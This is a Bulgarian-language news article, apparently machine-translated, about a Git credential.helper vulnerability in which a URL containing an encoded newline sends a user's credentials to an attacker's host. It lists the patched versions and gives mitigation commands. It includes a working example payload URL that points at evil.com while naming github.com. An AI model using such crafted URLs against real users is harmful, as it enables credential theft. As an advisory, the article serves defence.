Уязвимост в Git, водеща до изтичане на идентификационни данни

Публикувано коригиращи версии на системата за контрол на разпределения код Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 и 2.17.4, в което елиминира уязвимост (CVE-2020 5260-) в манипулатора "удостоверение.помощник", което кара идентификационните данни да бъдат изпратени до грешен хост, когато git клиент има достъп до хранилище, използвайки специално форматиран URL адрес, съдържащ символ за нов ред. Уязвимостта може да се използва, за да се уредят идентификационните данни от друг хост да бъдат изпратени до сървър, контролиран от нападателя.

Когато посочите URL като „https://evil.com?%0ahost=github.com/“, манипулаторът на идентификационни данни при свързване към хоста evil.com ще предаде параметрите за удостоверяване, посочени за github.com. Проблемът възниква при извършване на операции като „git clone“, включително обработка на URL адреси за подмодули (например „git submodule update“ автоматично ще обработи URL адресите, посочени във файла .gitmodules от хранилището). Уязвимостта е най-опасна в ситуации, в които програмист клонира хранилище, без да вижда URL адреса, например, когато работи с подмодули, или в системи, които извършват автоматични действия, например в скриптове за изграждане на пакети.

За блокиране на уязвимости в новите версии забранено предаване на знак за нов ред във всички стойности, предавани чрез протокола за обмен на идентификационни данни. За дистрибуции можете да проследявате пускането на актуализации на пакети на страниците Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Арка, FreeBSD.

Като решение за блокиране на проблема препоръчва се Не използвайте credential.helper при достъп до публични хранилища и не използвайте "git clone" в режим "--recurse-submodules" с непроверени хранилища. За да деактивирате напълно манипулатора на credential.helper, което прави запазване и извличане на пароли от кеш, защитен сводове или файл с пароли, можете да използвате командите:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Източник: opennet.ru